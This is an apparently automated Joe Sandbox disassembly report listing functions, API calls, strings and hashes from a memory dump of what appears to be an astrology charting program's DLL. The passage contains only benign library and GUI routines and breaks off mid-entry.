Opcode ID: 7cd0fbb05a325aa1e4c1f502f9a48f34320d6fd8c1aadd649986c48f4666315e
Instruction ID: afeae7b4fb9fe9fd692dcc59cab4112348f5e257d785491e5a9eb001b8bcb7ee
Opcode Fuzzy Hash: 7cd0fbb05a325aa1e4c1f502f9a48f34320d6fd8c1aadd649986c48f4666315e
Instruction Fuzzy Hash: 4721B1B2A050099ACB20DBBCCA45EDDB3E59B0620CF614935E42697F90CB3DDE4C8791

Function 6C899ACE Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 6C899AF3

Part of subcall function 6C89968E: Replicator::operator[].LIBCMT ref: 6C899711
Part of subcall function 6C89968E: DName::operator+=.LIBCMT ref: 6C899719

DName::operator+.LIBCMT ref: 6C899B4C
DName::DName.LIBCMT ref: 6C899BA4

Strings

void, xrefs: 6C899B9C
,..., xrefs: 6C899B38
,<ellipsis>, xrefs: 6C899B3F, 6C899B44
<ellipsis>, xrefs: 6C899B8E, 6C899B93
..., xrefs: 6C899B87

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: 0a9c4165102e5b0e9c45e943bc3eda2e4478b5e5722197190455a8c421dfeaf5
Instruction ID: d778694a06c0bf4e1051bc18789d3f71f60548830229e024cf2c8a76f0f94829
Opcode Fuzzy Hash: 0a9c4165102e5b0e9c45e943bc3eda2e4478b5e5722197190455a8c421dfeaf5
Instruction Fuzzy Hash: E3213030615109AFDB11CF1CC740AE83BF4AB5738CB588595E889EFB51C739E906CB40

Function 6C89B467 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 6C89B471
DName::DName.LIBCMT ref: 6C89B47D

Part of subcall function 6C899148: DName::doPchar.LIBCMT ref: 6C899179

UnDecorator::getScopedName.LIBCMT ref: 6C89B4BC
DName::operator+=.LIBCMT ref: 6C89B4C6
DName::operator+=.LIBCMT ref: 6C89B4D5
DName::operator+=.LIBCMT ref: 6C89B4E1
DName::operator+=.LIBCMT ref: 6C89B4EE

Strings

void, xrefs: 6C89B4CD

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: 785d7727a1dccd821dc551716e1ad039e416faea3ab0a595127a0cf9d6e87485
Instruction ID: deb625b7196e506d20e0519cb9af7a52d1572b347a2d7d1d15f6a3d14430efb0
Opcode Fuzzy Hash: 785d7727a1dccd821dc551716e1ad039e416faea3ab0a595127a0cf9d6e87485
Instruction Fuzzy Hash: D1118E71908148AFD735DF6CCA95AFE7BB0AF12308F0448A9D0099BBD1DB70EA49C701

Function 6C87EF52 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 307COMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 6C87F0C8
_sprintf.LIBCMT ref: 6C87F298
_sprintf.LIBCMT ref: 6C87F2DD

Part of subcall function 6C8791A8: _sprintf.LIBCMT ref: 6C8791D8

Strings

%d %d(%c)center, xrefs: 6C87F0BD
%.3s, xrefs: 6C87F292
Aln, xrefs: 6C87F2BB
M31, xrefs: 6C87F2D4

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_fprintf
String ID: %.3s$%d %d(%c)center$Aln$M31
API String ID: 3156639200-3137262557
Opcode ID: f59998a0a0ec71511901e2d2999884c50f66a5d3a2a00fc77cdfe2b8786dedc6
Instruction ID: 206705d3bf9ac7d22d8b66d49bc0e2581803e6cddebe434d6b4f7ef6cb7fdea7
Opcode Fuzzy Hash: f59998a0a0ec71511901e2d2999884c50f66a5d3a2a00fc77cdfe2b8786dedc6
Instruction Fuzzy Hash: A7A12976718204AADF318A6ADA85B9D37B6E72732CF240D1BE010C6E90F775D486CB71

Function 6C87DCFF Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 271COMMON

Download Yara Rule

APIs

MoveToEx.GDI32(00000003,?,00000000,?), ref: 6C87DD56
LineTo.GDI32(00000000,?), ref: 6C87DD68
SetPixel.GDI32(00000000,?,?,6C87F814), ref: 6C87DD86
_fprintf.LIBCMT ref: 6C87DDE6
_fprintf.LIBCMT ref: 6C87DE05

Strings

%d %d %d %d l, xrefs: 6C87DDFA
%d %d t, xrefs: 6C87DDDB

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fprintf$LineMovePixel
String ID: %d %d %d %d l$%d %d t
API String ID: 4254231064-3651011223
Opcode ID: 8bfeef9e6a32d64e6d8cf406845b855ac5bfbedaee46349cf0cc6e273d3cf9c0
Instruction ID: c966196ab0d7626014b0b37c76bd16321c4bf9359af27bad905957cfc83db204
Opcode Fuzzy Hash: 8bfeef9e6a32d64e6d8cf406845b855ac5bfbedaee46349cf0cc6e273d3cf9c0
Instruction Fuzzy Hash: 10A18171A0021ADFDF30CF59DA45A9E7BB1FB56368F14493BE920A7A40F3309951CBA1

Function 6C822C59 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C822CC7
_sprintf.LIBCMT ref: 6C822CEA

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

_sprintf.LIBCMT ref: 6C822D20

Part of subcall function 6C881F84: __flsbuf.LIBCMT ref: 6C881FFA

Strings

Aspects are different relationships between planets., xrefs: 6C822C74
When planets are %s, one, xrefs: 6C822CC1
another., xrefs: 6C822CFD
%s., xrefs: 6C822D1A

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText__flsbuf__output_l
String ID: %s.$Aspects are different relationships between planets.$When planets are %s, one$another.
API String ID: 1481945667-3266434254
Opcode ID: dd77fa0503c5cfaad314d364593245189ccb9184a6bb4f28db68f1ccaa574f0f
Instruction ID: 2928c6021114c1d9ee1a5e010fe6169b08da0fb32b5447f3e33fbc9833bd4baf
Opcode Fuzzy Hash: dd77fa0503c5cfaad314d364593245189ccb9184a6bb4f28db68f1ccaa574f0f
Instruction Fuzzy Hash: 0621A7B19001145BDB31DB28CE4AEE973B59F92218F504C759051A7E40DB7CA9CADBD1

Function 6C87FB36 Relevance: 12.1, APIs: 8, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SetWindowOrgEx.GDI32(-6C8F85EC,-D91F0BDC,00000000,6C8F85EC), ref: 6C87FBC2
SetWindowExtEx.GDI32(00000000,00000000,00000000), ref: 6C87FBDF
SetMapMode.GDI32(00000008), ref: 6C87FBED
GetStockObject.GDI32(00000008), ref: 6C87FBFB
SelectObject.GDI32(00000000), ref: 6C87FC0A
GetStockObject.GDI32(00000005), ref: 6C87FC0E
SelectObject.GDI32(00000000), ref: 6C87FC17
PatBlt.GDI32(00000000,00000000,-00000042,-00000042,-00000042), ref: 6C87FC61

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Object$SelectStockWindow$Mode
String ID:
API String ID: 2748243966-0
Opcode ID: 88c5fa58ff8fc6d364c32503b0424789b1e29814b03c456e48d056c32c6f5cd3
Instruction ID: efe6d7fc247d2c39fd82245d54e6247606a248b75323aa19b9e02cab2088e9c6
Opcode Fuzzy Hash: 88c5fa58ff8fc6d364c32503b0424789b1e29814b03c456e48d056c32c6f5cd3
Instruction Fuzzy Hash: E9311671301115EFDF709BA7E996E3A76BAE35B78E7004137EA24C2450E6305841CBE4

Function 6C85B80B Relevance: 10.6, APIs: 7, Instructions: 113windowCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,000004D7,00000000), ref: 6C85B843
CheckDlgButton.USER32(?,000004D7,00000001), ref: 6C85B860
IsDlgButtonChecked.USER32(?,000004D6), ref: 6C85B88F
CheckMenuItem.USER32(00009D14,00000008), ref: 6C85B8D4
CheckMenuItem.USER32(00009D14,00000000), ref: 6C85B907
EndDialog.USER32(?,00000001), ref: 6C85B926
CheckDlgButton.USER32(?,000004D7,000004D7), ref: 6C85B953

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Check$Button$ItemMenu$CheckedDialog
String ID:
API String ID: 1766801748-0
Opcode ID: 36d482d19294a07ea7a147fa4c206d56045b6f697775e10d6ee06de8437f8825
Instruction ID: fef159219984c64e51c8e577fd1336e94728154cf527a1b3a4788f1e11898a89
Opcode Fuzzy Hash: 36d482d19294a07ea7a147fa4c206d56045b6f697775e10d6ee06de8437f8825
Instruction Fuzzy Hash: 3531F272644228AFDB724F65DA45A7A3B74FB1778DF900936F951C7A80E3B09462CBC0

Function 6C8599B7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 89COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C8599F6
_sprintf.LIBCMT ref: 6C859A27
GetOpenFileNameA.COMDLG32(6C8F8858), ref: 6C859A33

Part of subcall function 6C8217C6: _sprintf.LIBCMT ref: 6C8217ED
Part of subcall function 6C8217C6: MessageBoxA.USER32(?,?,00000010), ref: 6C821802

Strings

*.as, xrefs: 6C859A0E
File input is not allowed now., xrefs: 6C8599D6
Open Chart #%d, xrefs: 6C8599F0

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$FileMessageNameOpen
String ID: *.as$File input is not allowed now.$Open Chart #%d
API String ID: 1558904789-680963027
Opcode ID: ac70dff7fb19d6aff39b1382c72355db84d7382524883a71770ae8232e57e888
Instruction ID: 82c441edba046c329fb158272e25b13da469746e63e63fb1afa86720251acc3c
Opcode Fuzzy Hash: ac70dff7fb19d6aff39b1382c72355db84d7382524883a71770ae8232e57e888
Instruction Fuzzy Hash: F021097360421C9BCB31DA659642B8A73F1A743368FA60C3AE5129BF84CA71D986D790

Function 6C8049E4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 67COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C804A34
_sprintf.LIBCMT ref: 6C804A54
_sprintf.LIBCMT ref: 6C804A6F

Strings

%c%d:%02d, xrefs: 6C804A64
%c%d:%02d:%02d, xrefs: 6C804A49
%c%d, xrefs: 6C804A29

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: %c%d$%c%d:%02d$%c%d:%02d:%02d
API String ID: 1467051239-3287177756
Opcode ID: 95da103a9259b0c554af23ddf0494b30664aaa41822b4df1e2967e72f2cfb3f5
Instruction ID: fae694f6f0af2d22e97e60cbdc5648d94682fec05341a39c027692341a467dd7
Opcode Fuzzy Hash: 95da103a9259b0c554af23ddf0494b30664aaa41822b4df1e2967e72f2cfb3f5
Instruction Fuzzy Hash: 5D01DD92B8317026F73C911D4E53FFB209E87D5264F0A1879B914E6F40E755DD0542E5

Function 6C821924 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 62COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C821950
_sprintf.LIBCMT ref: 6C821998
_sprintf.LIBCMT ref: 6C8219B5

Strings

Bad value passed to %sswitch %c%s, xrefs: 6C8219AF
parameter #%d of , xrefs: 6C82194A
Value %s passed to %sswitch %c%s out of range., xrefs: 6C821992

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: Bad value passed to %sswitch %c%s$Value %s passed to %sswitch %c%s out of range.$parameter #%d of
API String ID: 1467051239-4020153155
Opcode ID: 585cef4cd62b3407fed0b21574a5107b06e3bbc4af5f7c3810f5a1aef91cfe76
Instruction ID: 453a37ddff156fce80f5018a0382feeebb879e9a3d1344082212e07dcc583d07
Opcode Fuzzy Hash: 585cef4cd62b3407fed0b21574a5107b06e3bbc4af5f7c3810f5a1aef91cfe76
Instruction Fuzzy Hash: 891194B2D0010CBADF20EB98DD08FCF7B78AB06318F5149B5A555A6640EB35E64DCBD2

Function 6C899BAE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 6C899BF7
DName::operator+.LIBCMT ref: 6C899BFE
DName::DName.LIBCMT ref: 6C899C20
DName::operator+.LIBCMT ref: 6C899C27
DName::operator+.LIBCMT ref: 6C899C2E

Strings

throw(, xrefs: 6C899BEF, 6C899C18

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: 69dbca66dee5a38e516e151aec974c8d473503888f736db90c3eae4dfc664cf7
Instruction ID: 69b647c20f9c55eb5495bc5edf2ca3a1b8722ba03b0e065087016a1b318fb6ce
Opcode Fuzzy Hash: 69dbca66dee5a38e516e151aec974c8d473503888f736db90c3eae4dfc664cf7
Instruction Fuzzy Hash: F4019230A04109EFDF14DBACCE55DED7BB5EB4934CF044865A409AB790DB34E949CB40

Function 6C821472 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

